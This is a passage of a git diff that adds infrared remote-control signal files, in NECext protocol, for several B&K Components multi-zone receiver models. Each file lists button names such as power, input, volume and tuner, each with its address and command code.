+protocol: NECext +address: 8F 07 00 00 +command: A6 00 00 00 +# +name: BK035_SLEEP +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: B3 00 00 00 +# +name: BK035_PRESET- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: C6 00 00 00 +# +name: BK035_LOUDNESS +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: CF 00 00 00 +# +name: BK035_AUTO_LEVEL +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: E4 00 00 00 +# +name: BK035_BASS+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: E5 00 00 00 +# +name: BK035_TREBLE+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: F9 00 00 00 +# +name: BK035_VIDEO+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir new file mode 100644 index 000000000..ccbb10b21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK034_POWER_OFF +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 01 00 00 00 +# +name: BK034_POWER_ON +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 02 00 00 00 +# +name: BK034_MUTE +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 03 00 00 00 +# +name: BK034_INPUT_1 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 05 00 00 00 +# +name: BK034_INPUT_3 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 06 00 00 00 +# +name: BK034_INPUT_8 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 07 00 00 00 +# +name: BK034_INPUT_2 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 09 00 00 00 +# +name: BK034_INPUT_7 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0B 00 00 00 +# +name: BK034_INPUT_4 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0D 00 00 00 +# +name: BK034_TUNER_1 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0E 00 00 00 +# +name: BK034_INPUT_5 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 0F 00 00 00 +# +name: BK034_STATION- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 17 00 00 00 +# +name: BK034_STATION+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 18 00 00 00 +# +name: BK034_TUNE- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 1B 00 00 00 +# +name: BK034_TUNE+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 1C 00 00 00 +# +name: BK034_LEFT +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 1F 00 00 00 +# +name: BK034_RIGHT +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 20 00 00 00 +# +name: BK034_VOLUME- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 23 00 00 00 +# +name: BK034_VOLUME+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 24 00 00 00 +# +name: BK034_NUMBER_+10 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 29 00 00 00 +# +name: BK034_EQ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 2A 00 00 00 +# +name: BK034_DOWN +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 2D 00 00 00 +# +name: BK034_UP +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 2E 00 00 00 +# +name: BK034_ENTER +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 30 00 00 00 +# +name: BK034_NUMBER_1 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 31 00 00 00 +# +name: BK034_NUMBER_2 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 32 00 00 00 +# +name: BK034_NUMBER_3 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 33 00 00 00 +# +name: BK034_NUMBER_4 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 35 00 00 00 +# +name: BK034_NUMBER_5 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 36 00 00 00 +# +name: BK034_NUMBER_6 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 37 00 00 00 +# +name: BK034_NUMBER_7 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 39 00 00 00 +# +name: BK034_NUMBER_8 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3A 00 00 00 +# +name: BK034_NUMBER_9 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3B 00 00 00 +# +name: BK034_NUMBER_0 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 3E 00 00 00 +# +name: BK034_SAVE +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 40 00 00 00 +# +name: BK034_TUNER_3 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 44 00 00 00 +# +name: BK034_INPUT_6 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 4A 00 00 00 +# +name: BK034_PRESET+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 4B 00 00 00 +# +name: BK034_D-IN +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 5A 00 00 00 +# +name: BK034_BASS- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 65 00 00 00 +# +name: BK034_SOURCE+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 66 00 00 00 +# +name: BK034_INPUT_9 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 6E 00 00 00 +# +name: BK034_AM +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 76 00 00 00 +# +name: BK034_TREBLE- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 79 00 00 00 +# +name: BK034_VIDEO- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 7A 00 00 00 +# +name: BK034_EXIT +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 7D 00 00 00 +# +name: BK034_TUNER_2 +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 84 00 00 00 +# +name: BK034_FM +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: 8E 00 00 00 +# +name: BK034_SOURCE- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: A6 00 00 00 +# +name: BK034_SLEEP +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: B3 00 00 00 +# +name: BK034_PRESET- +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: C6 00 00 00 +# +name: BK034_LOUDNESS +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: CF 00 00 00 +# +name: BK034_AUTO_LEVEL +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: E4 00 00 00 +# +name: BK034_BASS+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: E5 00 00 00 +# +name: BK034_TREBLE+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: F9 00 00 00 +# +name: BK034_VIDEO+ +type: parsed +protocol: NECext +address: 0F 0F 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir new file mode 100644 index 000000000..c44fca7d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK026_POWER_OFF +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 01 00 00 00 +# +name: BK026_POWER_ON +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 02 00 00 00 +# +name: BK026_MUTE +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 03 00 00 00 +# +name: BK026_INPUT_1 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 05 00 00 00 +# +name: BK026_INPUT_3 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 06 00 00 00 +# +name: BK026_INPUT_8 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 07 00 00 00 +# +name: BK026_INPUT_2 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 09 00 00 00 +# +name: BK026_INPUT_7 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 0B 00 00 00 +# +name: BK026_INPUT_4 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 0D 00 00 00 +# +name: BK026_TUNER_1 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 0E 00 00 00 +# +name: BK026_INPUT_5 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 0F 00 00 00 +# +name: BK026_STATION- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 17 00 00 00 +# +name: BK026_STATION+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 18 00 00 00 +# +name: BK026_TUNE- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 1B 00 00 00 +# +name: BK026_TUNE+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 1C 00 00 00 +# +name: BK026_LEFT +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 1F 00 00 00 +# +name: BK026_RIGHT +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 20 00 00 00 +# +name: BK026_VOLUME- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 23 00 00 00 +# +name: BK026_VOLUME+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 24 00 00 00 +# +name: BK026_NUMBER_+10 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 29 00 00 00 +# +name: BK026_EQ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 2A 00 00 00 +# +name: BK026_DOWN +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 2D 00 00 00 +# +name: BK026_UP +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 2E 00 00 00 +# +name: BK026_ENTER +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 30 00 00 00 +# +name: BK026_NUMBER_1 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 31 00 00 00 +# +name: BK026_NUMBER_2 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 32 00 00 00 +# +name: BK026_NUMBER_3 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 33 00 00 00 +# +name: BK026_NUMBER_4 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 35 00 00 00 +# +name: BK026_NUMBER_5 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 36 00 00 00 +# +name: BK026_NUMBER_6 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 37 00 00 00 +# +name: BK026_NUMBER_7 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 39 00 00 00 +# +name: BK026_NUMBER_8 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 3A 00 00 00 +# +name: BK026_NUMBER_9 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 3B 00 00 00 +# +name: BK026_NUMBER_0 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 3E 00 00 00 +# +name: BK026_SAVE +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 40 00 00 00 +# +name: BK026_TUNER_3 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 44 00 00 00 +# +name: BK026_INPUT_6 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 4A 00 00 00 +# +name: BK026_PRESET+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 4B 00 00 00 +# +name: BK026_D-IN +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 5A 00 00 00 +# +name: BK026_BASS- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 65 00 00 00 +# +name: BK026_SOURCE+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 66 00 00 00 +# +name: BK026_INPUT_9 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 6E 00 00 00 +# +name: BK026_AM +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 76 00 00 00 +# +name: BK026_TREBLE- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 79 00 00 00 +# +name: BK026_VIDEO- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 7A 00 00 00 +# +name: BK026_EXIT +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 7D 00 00 00 +# +name: BK026_TUNER_2 +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 84 00 00 00 +# +name: BK026_FM +type: parsed +protocol: NECext +address: 97 86 00 00 +command: 8E 00 00 00 +# +name: BK026_SOURCE- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: A6 00 00 00 +# +name: BK026_SLEEP +type: parsed +protocol: NECext +address: 97 86 00 00 +command: B3 00 00 00 +# +name: BK026_PRESET- +type: parsed +protocol: NECext +address: 97 86 00 00 +command: C6 00 00 00 +# +name: BK026_LOUDNESS +type: parsed +protocol: NECext +address: 97 86 00 00 +command: CF 00 00 00 +# +name: BK026_AUTO_LEVEL +type: parsed +protocol: NECext +address: 97 86 00 00 +command: E4 00 00 00 +# +name: BK026_BASS+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: E5 00 00 00 +# +name: BK026_TREBLE+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: F9 00 00 00 +# +name: BK026_VIDEO+ +type: parsed +protocol: NECext +address: 97 86 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir new file mode 100644 index 000000000..2c505e98c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK023_POWER_OFF +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 01 00 00 00 +# +name: BK023_POWER_ON +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 02 00 00 00 +# +name: BK023_MUTE +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 03 00 00 00 +# +name: BK023_INPUT_1 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 05 00 00 00 +# +name: BK023_INPUT_3 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 06 00 00 00 +# +name: BK023_INPUT_8 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 07 00 00 00 +# +name: BK023_INPUT_2 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 09 00 00 00 +# +name: BK023_INPUT_7 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0B 00 00 00 +# +name: BK023_INPUT_4 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0D 00 00 00 +# +name: BK023_TUNER_1 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0E 00 00 00 +# +name: BK023_INPUT_5 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 0F 00 00 00 +# +name: BK023_STATION- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 17 00 00 00 +# +name: BK023_STATION+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 18 00 00 00 +# +name: BK023_TUNE- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 1B 00 00 00 +# +name: BK023_TUNE+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 1C 00 00 00 +# +name: BK023_LEFT +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 1F 00 00 00 +# +name: BK023_RIGHT +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 20 00 00 00 +# +name: BK023_VOLUME- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 23 00 00 00 +# +name: BK023_VOLUME+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 24 00 00 00 +# +name: BK023_NUMBER_+10 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 29 00 00 00 +# +name: BK023_EQ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 2A 00 00 00 +# +name: BK023_DOWN +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 2D 00 00 00 +# +name: BK023_UP +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 2E 00 00 00 +# +name: BK023_ENTER +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 30 00 00 00 +# +name: BK023_NUMBER_1 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 31 00 00 00 +# +name: BK023_NUMBER_2 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 32 00 00 00 +# +name: BK023_NUMBER_3 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 33 00 00 00 +# +name: BK023_NUMBER_4 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 35 00 00 00 +# +name: BK023_NUMBER_5 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 36 00 00 00 +# +name: BK023_NUMBER_6 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 37 00 00 00 +# +name: BK023_NUMBER_7 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 39 00 00 00 +# +name: BK023_NUMBER_8 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3A 00 00 00 +# +name: BK023_NUMBER_9 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3B 00 00 00 +# +name: BK023_NUMBER_0 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 3E 00 00 00 +# +name: BK023_SAVE +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 40 00 00 00 +# +name: BK023_TUNER_3 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 44 00 00 00 +# +name: BK023_INPUT_6 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 4A 00 00 00 +# +name: BK023_PRESET+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 4B 00 00 00 +# +name: BK023_D-IN +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 5A 00 00 00 +# +name: BK023_BASS- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 65 00 00 00 +# +name: BK023_SOURCE+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 66 00 00 00 +# +name: BK023_INPUT_9 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 6E 00 00 00 +# +name: BK023_AM +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 76 00 00 00 +# +name: BK023_TREBLE- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 79 00 00 00 +# +name: BK023_VIDEO- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 7A 00 00 00 +# +name: BK023_EXIT +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 7D 00 00 00 +# +name: BK023_TUNER_2 +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 84 00 00 00 +# +name: BK023_FM +type: parsed +protocol: NECext +address: A7 85 00 00 +command: 8E 00 00 00 +# +name: BK023_SOURCE- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: A6 00 00 00 +# +name: BK023_SLEEP +type: parsed +protocol: NECext +address: A7 85 00 00 +command: B3 00 00 00 +# +name: BK023_PRESET- +type: parsed +protocol: NECext +address: A7 85 00 00 +command: C6 00 00 00 +# +name: BK023_LOUDNESS +type: parsed +protocol: NECext +address: A7 85 00 00 +command: CF 00 00 00 +# +name: BK023_AUTO_LEVEL +type: parsed +protocol: NECext +address: A7 85 00 00 +command: E4 00 00 00 +# +name: BK023_BASS+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: E5 00 00 00 +# +name: BK023_TREBLE+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: F9 00 00 00 +# +name: BK023_VIDEO+ +type: parsed +protocol: NECext +address: A7 85 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir new file mode 100644 index 000000000..064f3a622 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK030_POWER_OFF +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 01 00 00 00 +# +name: BK030_POWER_ON +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 02 00 00 00 +# +name: BK030_MUTE +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 03 00 00 00 +# +name: BK030_INPUT_1 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 05 00 00 00 +# +name: BK030_INPUT_3 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 06 00 00 00 +# +name: BK030_INPUT_8 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 07 00 00 00 +# +name: BK030_INPUT_2 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 09 00 00 00 +# +name: BK030_INPUT_7 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0B 00 00 00 +# +name: BK030_INPUT_4 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0D 00 00 00 +# +name: BK030_TUNER_1 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0E 00 00 00 +# +name: BK030_INPUT_5 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 0F 00 00 00 +# +name: BK030_STATION- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 17 00 00 00 +# +name: BK030_STATION+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 18 00 00 00 +# +name: BK030_TUNE- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 1B 00 00 00 +# +name: BK030_TUNE+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 1C 00 00 00 +# +name: BK030_LEFT +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 1F 00 00 00 +# +name: BK030_RIGHT +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 20 00 00 00 +# +name: BK030_VOLUME- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 23 00 00 00 +# +name: BK030_VOLUME+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 24 00 00 00 +# +name: BK030_NUMBER_+10 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 29 00 00 00 +# +name: BK030_EQ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 2A 00 00 00 +# +name: BK030_DOWN +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 2D 00 00 00 +# +name: BK030_UP +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 2E 00 00 00 +# +name: BK030_ENTER +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 30 00 00 00 +# +name: BK030_NUMBER_1 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 31 00 00 00 +# +name: BK030_NUMBER_2 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 32 00 00 00 +# +name: BK030_NUMBER_3 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 33 00 00 00 +# +name: BK030_NUMBER_4 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 35 00 00 00 +# +name: BK030_NUMBER_5 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 36 00 00 00 +# +name: BK030_NUMBER_6 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 37 00 00 00 +# +name: BK030_NUMBER_7 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 39 00 00 00 +# +name: BK030_NUMBER_8 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3A 00 00 00 +# +name: BK030_NUMBER_9 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3B 00 00 00 +# +name: BK030_NUMBER_0 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 3E 00 00 00 +# +name: BK030_SAVE +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 40 00 00 00 +# +name: BK030_TUNER_3 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 44 00 00 00 +# +name: BK030_INPUT_6 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 4A 00 00 00 +# +name: BK030_PRESET+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 4B 00 00 00 +# +name: BK030_D-IN +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 5A 00 00 00 +# +name: BK030_BASS- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 65 00 00 00 +# +name: BK030_SOURCE+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 66 00 00 00 +# +name: BK030_INPUT_9 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 6E 00 00 00 +# +name: BK030_AM +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 76 00 00 00 +# +name: BK030_TREBLE- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 79 00 00 00 +# +name: BK030_VIDEO- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 7A 00 00 00 +# +name: BK030_EXIT +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 7D 00 00 00 +# +name: BK030_TUNER_2 +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 84 00 00 00 +# +name: BK030_FM +type: parsed +protocol: NECext +address: B7 84 00 00 +command: 8E 00 00 00 +# +name: BK030_SOURCE- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: A6 00 00 00 +# +name: BK030_SLEEP +type: parsed +protocol: NECext +address: B7 84 00 00 +command: B3 00 00 00 +# +name: BK030_PRESET- +type: parsed +protocol: NECext +address: B7 84 00 00 +command: C6 00 00 00 +# +name: BK030_LOUDNESS +type: parsed +protocol: NECext +address: B7 84 00 00 +command: CF 00 00 00 +# +name: BK030_AUTO_LEVEL +type: parsed +protocol: NECext +address: B7 84 00 00 +command: E4 00 00 00 +# +name: BK030_BASS+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: E5 00 00 00 +# +name: BK030_TREBLE+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: F9 00 00 00 +# +name: BK030_VIDEO+ +type: parsed +protocol: NECext +address: B7 84 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir new file mode 100644 index 000000000..1d54144fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK014_POWER_OFF +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 01 00 00 00 +# +name: BK014_POWER_ON +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 02 00 00 00 +# +name: BK014_MUTE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 03 00 00 00 +# +name: BK014_INPUT_1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 05 00 00 00 +# +name: BK014_INPUT_3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 06 00 00 00 +# +name: BK014_INPUT_8 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 07 00 00 00 +# +name: BK014_INPUT_2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 09 00 00 00 +# +name: BK014_INPUT_7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0B 00 00 00 +# +name: BK014_INPUT_4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0D 00 00 00 +# +name: BK014_TUNER_1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0E 00 00 00 +# +name: BK014_INPUT_5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 0F 00 00 00 +# +name: BK014_STATION- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 17 00 00 00 +# +name: BK014_STATION+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 18 00 00 00 +# +name: BK014_TUNE- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1B 00 00 00 +# +name: BK014_TUNE+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1C 00 00 00 +# +name: BK014_LEFT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 1F 00 00 00 +# +name: BK014_RIGHT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 20 00 00 00 +# +name: BK014_VOLUME- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 23 00 00 00 +# +name: BK014_VOLUME+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 24 00 00 00 +# +name: BK014_NUMBER_+10 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 29 00 00 00 +# +name: BK014_EQ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2A 00 00 00 +# +name: BK014_DOWN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2D 00 00 00 +# +name: BK014_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 2E 00 00 00 +# +name: BK014_ENTER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 30 00 00 00 +# +name: BK014_NUMBER_1 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 31 00 00 00 +# +name: BK014_NUMBER_2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 32 00 00 00 +# +name: BK014_NUMBER_3 +type: parsed +protocol: NECext +address: BB 00 00 00 